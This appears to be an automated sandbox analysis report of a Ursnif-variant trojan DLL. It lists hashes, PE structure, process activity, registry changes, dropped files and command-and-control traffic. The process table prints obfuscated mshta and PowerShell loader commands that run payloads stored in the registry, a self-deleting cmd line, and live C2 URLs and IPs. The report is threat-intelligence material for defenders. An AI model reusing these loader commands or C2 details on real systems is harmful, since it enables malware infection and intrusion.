| File name: | f8a1d78eb7691f90053a5d7ad70588bed4c4a5cdd7bc949c368d8c2bc62f95c4.bin |
| Full analysis: | https://app.any.run/tasks/f3771459-62f8-48b8-a1bf-a1b182af3599 |
| Verdict: | Malicious activity |
| Threats: | Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email. |
| Analysis date: | July 18, 2023, 15:47:33 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (DLL) (GUI) Intel 80386, for MS Windows |
| MD5: | 1FF3761D62CC5EE7C888A8C1BDD9D1AC |
| SHA1: | 093CB13D256FF3E367CC8C60FE68F96582A35F29 |
| SHA256: | F8A1D78EB7691F90053A5D7AD70588BED4C4A5CDD7BC949C368D8C2BC62F95C4 |
| SSDEEP: | 12288:/+WNeJLmTo/dgvHKRNR7PlB5D9Di/2ytQLP647vpvWhRodzXo/fGRAkMwFroD:/+Q46To/dgPOVP35ZWrs6kvonx6o |
| .exe | | | Win32 Executable MS Visual C++ (generic) (42.2) |
|---|---|---|
| .exe | | | Win64 Executable (generic) (37.3) |
| .dll | | | Win32 Dynamic Link Library (generic) (8.8) |
| .exe | | | Win32 Executable (generic) (6) |
| .exe | | | Generic Win/DOS Executable (2.7) |
| Subsystem: | Windows GUI |
|---|---|
| SubsystemVersion: | 5.1 |
| ImageVersion: | - |
| OSVersion: | 5.1 |
| EntryPoint: | 0x5a00 |
| UninitializedDataSize: | - |
| InitializedDataSize: | 735744 |
| CodeSize: | 87040 |
| LinkerVersion: | 14 |
| PEType: | PE32 |
| ImageFileCharacteristics: | Executable, 32-bit, DLL |
| TimeStamp: | 2023:07:17 09:32:25+00:00 |
| MachineType: | Intel 386 or later, and compatibles |
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 17-Jul-2023 09:32:25 |
| Detected languages: |
|
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x00000120 |
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 6 |
| Time date stamp: | 17-Jul-2023 09:32:25 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.text | 0x00001000 | 0x000152FB | 0x00015400 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 6.66986 |
.rdata | 0x00017000 | 0x0003E7FC | 0x0003E800 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 6.57269 |
.data | 0x00056000 | 0x00073480 | 0x00072C00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 5.19716 |
.gfids | 0x000CA000 | 0x00000044 | 0x00000200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 0.573852 |
.rsrc | 0x000CB000 | 0x00000490 | 0x00000600 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 3.52154 |
.reloc | 0x000CC000 | 0x0000123C | 0x00001400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ | 6.35658 |
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
2 | 4.91161 | 381 | UNKNOWN | English - United States | RT_MANIFEST |
11 | 3.48153 | 620 | UNKNOWN | English - United States | RT_STRING |
KERNEL32.dll |
Title | Ordinal | Address |
|---|---|---|
StartDll | 1 | 0x00001000 |
JfQVjr71 | 2 | 0x00016150 |
RHV0d6 | 3 | 0x00015990 |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 412 | "C:\Windows\System32\mshta.exe" "about:<hta:application><script>Wu6m='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Wu6m).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\BBE2C839-DEF8-A50A-C01F-F2A9F4C346ED\\\SettingsDevice'));if(!window.flag)close()</script>" | C:\Windows\System32\mshta.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Exit code: 0 Version: 11.00.9600.16428 (winblue_gdr.131013-1700) Modules
| |||||||||||||||
| 1932 | C:\Windows\Explorer.EXE | C:\Windows\explorer.exe | — | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2244 | "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\admin\AppData\Local\Temp\f8a1d78eb7691f90053a5d7ad70588bed4c4a5cdd7bc949c368d8c2bc62f95c4.bin.exe" | C:\Windows\System32\cmd.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2372 | "C:\Windows\System32\rundll32.exe" "C:\Users\admin\AppData\Local\Temp\f8a1d78eb7691f90053a5d7ad70588bed4c4a5cdd7bc949c368d8c2bc62f95c4.bin.exe", StartDll | C:\Windows\System32\rundll32.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2432 | "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\ofpcssg4.cmdline" | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Visual C# Command Line Compiler Exit code: 0 Version: 4.7.2558.0 built by: NET471REL1 Modules
| |||||||||||||||
| 2436 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RESA18E.tmp" "c:\Users\admin\AppData\Local\Temp\CSCBBF55137617E4DE8913FA0B3BE64DA93.TMP" | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe | — | csc.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft® Resource File To COFF Object Conversion Utility Exit code: 0 Version: 12.00.52519.0 built by: VSWINSERVICING Modules
| |||||||||||||||
| 2468 | "C:\Windows\System32\rundll32.exe" "C:\Users\admin\AppData\Local\Temp\f8a1d78eb7691f90053a5d7ad70588bed4c4a5cdd7bc949c368d8c2bc62f95c4.bin.exe", StartDll | C:\Windows\SysWOW64\rundll32.exe | rundll32.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2628 | ping localhost -n 5 | C:\Windows\System32\PING.EXE | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: TCP/IP Ping Command Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2648 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RESA111.tmp" "c:\Users\admin\AppData\Local\Temp\CSCF2A8F8C9D2C646179DF893D2D15BC2C7.TMP" | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe | — | csc.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft® Resource File To COFF Object Conversion Utility Exit code: 0 Version: 12.00.52519.0 built by: VSWINSERVICING Modules
| |||||||||||||||
| 2652 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name pphwfvddnj -value gp; new-alias -name putxbk -value iex; putxbk ([System.Text.Encoding]::ASCII.GetString((pphwfvddnj "HKCU:Software\AppDataLow\Software\Microsoft\BBE2C839-DEF8-A50A-C01F-F2A9F4C346ED").ComputerVirtual)) | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | mshta.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
| |||||||||||||||
| (PID) Process: | (1932) explorer.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Action Center\Checks\{C8E6F269-B90A-4053-A3BE-499AFCEC98C4}.check.0 |
| Operation: | write | Name: | CheckSetting |
Value: 01000000D08C9DDF0115D1118C7A00C04FC297EB01000000088AF72B0747534094337F63DE35C94A0000000002000000000010660000000100002000000011FEF86B13D2317ECFBC9E70116CDFB9A7CD7F543A075C03CC76CC912F264439000000000E800000000200002000000026CA1581DBB77FE930F5A83D64D684A3EC5D7D040FA6333ECA358AABBD9E4F653000000084DE4C22D7FBFAE8BB753B24F10A67FD39BCDA5EF3B3D5F6251B6B014DDF2A3E50A9FC63B1720CD40CC069882544D24840000000FDF9360EE1EDFED7CC3CBB9BF8BF87D4700CD94F4124E1BA2BFA835082C7FABBC267D630880A9AE07CFCECD03CA33CBBFFDD47E126FA7FED9730D5B400763556 | |||
| (PID) Process: | (1932) explorer.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Action Center\Checks\{01979c6a-42fa-414c-b8aa-eee2c8202018}.check.100 |
| Operation: | write | Name: | CheckSetting |
Value: 01000000D08C9DDF0115D1118C7A00C04FC297EB01000000088AF72B0747534094337F63DE35C94A00000000020000000000106600000001000020000000491BDBB5E321AB6A207EA6E4E4D8F482B7EFA4062E01A8F609A5F5AF01486C78000000000E8000000002000020000000025646E525449C6074A98082A2ACC1F849AFDB385E7BF59C9456D3AF99A19778B000000098787313409830CA7BDDE8399F42F514B5AC33E58E8545CA136F81295542540CA3D811CB6132A68419F671035849B62623434BB168A14D698A4C31AD486702E6CA5DC72B6F75608A3FA4A70BDEFC69F5539D67802036DD31DE93D820C843C03A406C8E6C744906AD7A2EE968DF1DA38602F88B76EB1C2B1E09334C7F0746A3C2A101C4C2769720E8A0040B3BA644100D62C0CE61CCB80F6DE5ABE905F7B2898AAD509BD5E77010E8335DAF229EE653AE400000005B5761FBB9FF8B2D1D6D7E7D69FDFFB2D71FE44E8E1E21496605A0F3DD923B10233E16A100FAD1FD622199D8B8897C2C3AD4759F04186C4AD699C6A7A25532D0 | |||
| (PID) Process: | (2468) rundll32.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings |
| Operation: | write | Name: | ProxyEnable |
Value: 0 | |||
| (PID) Process: | (2468) rundll32.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections |
| Operation: | write | Name: | SavedLegacySettings |
Value: 460000008F000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (2468) rundll32.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
| (PID) Process: | (2468) rundll32.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | IntranetName |
Value: 1 | |||
| (PID) Process: | (2468) rundll32.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 1 | |||
| (PID) Process: | (2468) rundll32.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 0 | |||
| (PID) Process: | (2468) rundll32.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (2468) rundll32.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2652 | powershell.exe | C:\Users\admin\AppData\Local\Temp\ofpcssg4.cmdline | text | |
MD5:69271CBD7E5AA6E24748D8007F011206 | SHA256:3124220EF8C59D1864277CB8E1339CFAF129117560AB1498762276986E3C5921 | |||
| 2432 | csc.exe | C:\Users\admin\AppData\Local\Temp\ofpcssg4.dll | executable | |
MD5:F48E2D17D770944C5469EA1DD044F322 | SHA256:9EAF427332BD3A9D505557DE5F8DA7F663A41F700B82D8F557D3275021222A1B | |||
| 2648 | cvtres.exe | C:\Users\admin\AppData\Local\Temp\RESA111.tmp | binary | |
MD5:8CA000C71E5C2E195EDAC7FA454639DD | SHA256:235DBE51D5F0A49414D1E2803CA788FCA61150A0B725DE45FA4F79CA11C54F0F | |||
| 2652 | powershell.exe | C:\Users\admin\AppData\Local\Temp\35skutgs.cor.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 2652 | powershell.exe | C:\Users\admin\AppData\Local\Temp\ofpcssg4.0.cs | text | |
MD5:CAED0B2E2CEBAECD1DB50994E0C15272 | SHA256:21210B9BAAFB8B03AB0EF625312973A77BB5ABA856C91892B65826E8B7C3B150 | |||
| 2432 | csc.exe | C:\Users\admin\AppData\Local\Temp\CSCF2A8F8C9D2C646179DF893D2D15BC2C7.TMP | binary | |
MD5:4A93D1EE85A2A724545B1E1C913F3C4A | SHA256:4B0627305CCD0A7B657B07A18DB8D7BE1E12100A0C05E905191E83D2052810EF | |||
| 2652 | powershell.exe | C:\Users\admin\AppData\Local\Temp\uemrrwyn.kkj.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 2652 | powershell.exe | C:\Users\admin\AppData\Local\Temp\oflsl3j3.0.cs | text | |
MD5:CA8887EACD573690830F71EFAF282712 | SHA256:568B0C1155379C88E91F904F4E70A3608FBF664EF890309CD705A7C5EB3232C3 | |||
| 2800 | csc.exe | C:\Users\admin\AppData\Local\Temp\CSCBBF55137617E4DE8913FA0B3BE64DA93.TMP | binary | |
MD5:A6716F5C3111C38BB064B5C2BC1B8DFE | SHA256:44CCE3537C3266F4AECD4BED17799DCDF0BC39D0C19A084653F2C056E64FCEDB | |||
| 2652 | powershell.exe | C:\Users\admin\AppData\Local\Temp\oflsl3j3.cmdline | text | |
MD5:FE89AC1B689348B87A6117A9FCBEE028 | SHA256:DD631CE5631B00A09E2ACB7108867D1A333B5C351DBEA360130E03760B0EC582 | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2468 | rundll32.exe | GET | 200 | 45.11.182.38:80 | http://45.11.182.38/zerotohero/t4JS4k63C_2F5/P_2FDJ54/j4ZPjkWZeExMyuq9C4loNfm/r0lqGSFdg2/WxgfQuGW5LTGS1eHt/bQ2zoWvu67eU/bwozWnF0qGC/qaMoLvlS5AGJ_2/BhNR9HIXDVNr_2Fn9IXFU/vYZVbft6xzZLuHmI/dJJEMyxX5j1rrWt/T3aPNdgcOF0eYeLEXY/qpThF9zp6/SvMbrNXu2Hf6NLJk2OKR/Wc6RPIUo98PnKCt4s_2/F1vaR9Gjhjbj6q59qdr9cq/7rlQ8WgffMwPv/geQA6Awm/YBET9KIXIKPTWxwtZb3fpbo/OfRfP8AU49/DDvkddn.asi | DE | binary | 229 Kb | malicious |
2468 | rundll32.exe | GET | 200 | 45.11.182.38:80 | http://45.11.182.38/zerotohero/ynuhKt6h_2FXoJT/OgjLGlNpJMhRepFJyn/779OtyO0R/_2FHsjzioOm6p4ZrRl23/w9sFrpjrZzdawFwuN3_/2Br4WVkNf2Bzwn3PtEcLMq/qVgPhjszafiHG/nPEfl8tE/tULwMQlc2njy65PXY5vNlcq/0_2BgWuKQa/bjx5OO7vblJNrVrOg/z8_2Fgt_2FGw/wE3gK7hNkIy/Co8fn748Om1SPl/ZUAeL9_2BAeByf_2FxgLI/dJWsn1pf57CibWBj/txHVCgEJyTXgCAi/O6882wHziQAHIpj9zS/OlswXsc35HC/YZ.asi | DE | binary | 1.87 Kb | malicious |
2468 | rundll32.exe | GET | 200 | 45.11.182.38:80 | http://45.11.182.38/zerotohero/NnPq5yKDalP9pVl87dLifJ/8VUyKGEAcfqJH/kLok4qpu/CZVGdFRSQc6SxbXIxGarAaz/kZAS9oPiVT/89_2Biu9YxTzi79Kl/VbRoTc2JRjpv/3sbjx3mM3Yc/i07CJUeeBxoQDj/L2MGxY7rawacYNexfhBQk/Yo6TjPzaRUQFG8UK/1dOf1yrSy6YpLbI/tahW8dTHBnaocWyrLE/I5wWseXni/keyrSrZ1CD5CHsmYk8L0/3Qc7rTUjtw_2FZRbyfv/HAeudN_2BDF6CmdIeRFb9D/CTUsbtU7ENp4Y/t.asi | DE | binary | 178 Kb | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
324 | svchost.exe | 224.0.0.252:5355 | — | — | — | unknown |
1932 | explorer.exe | 45.155.249.220:80 | — | vServer.site LTD | DE | malicious |
2468 | rundll32.exe | 45.11.182.38:80 | — | GleSYS AB | DE | malicious |
PID | Process | Class | Message |
|---|---|---|---|
2468 | rundll32.exe | Malware Command and Control Activity Detected | ET MALWARE Ursnif Variant CnC Beacon - URI Struct M1 (_2B) |
2468 | rundll32.exe | Malware Command and Control Activity Detected | ET MALWARE Ursnif Variant CnC Beacon - URI Struct M2 (_2F) |
2468 | rundll32.exe | Malware Command and Control Activity Detected | ET MALWARE Ursnif Variant CnC Beacon - URI Struct M1 (_2B) |
2468 | rundll32.exe | Malware Command and Control Activity Detected | ET MALWARE Ursnif Variant CnC Beacon - URI Struct M2 (_2F) |